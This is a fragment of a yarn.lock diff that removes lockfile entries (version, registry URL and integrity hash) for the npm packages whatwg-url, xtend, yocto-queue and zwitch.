sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg== - -whatwg-url@^7.0.0: - version "7.1.0" - resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06" - integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg== - dependencies: - lodash.sortby "^4.7.0" - tr46 "^1.0.1" - webidl-conversions "^4.0.2" - -xtend@^4.0.0: - version "4.0.2" - resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54" - integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== - -yocto-queue@^0.1.0: - version "0.1.0" - resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" - integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== - -zwitch@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-1.0.5.tgz#d11d7381ffed16b742f6af7b3f223d5cd9fe9920" - integrity sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw== |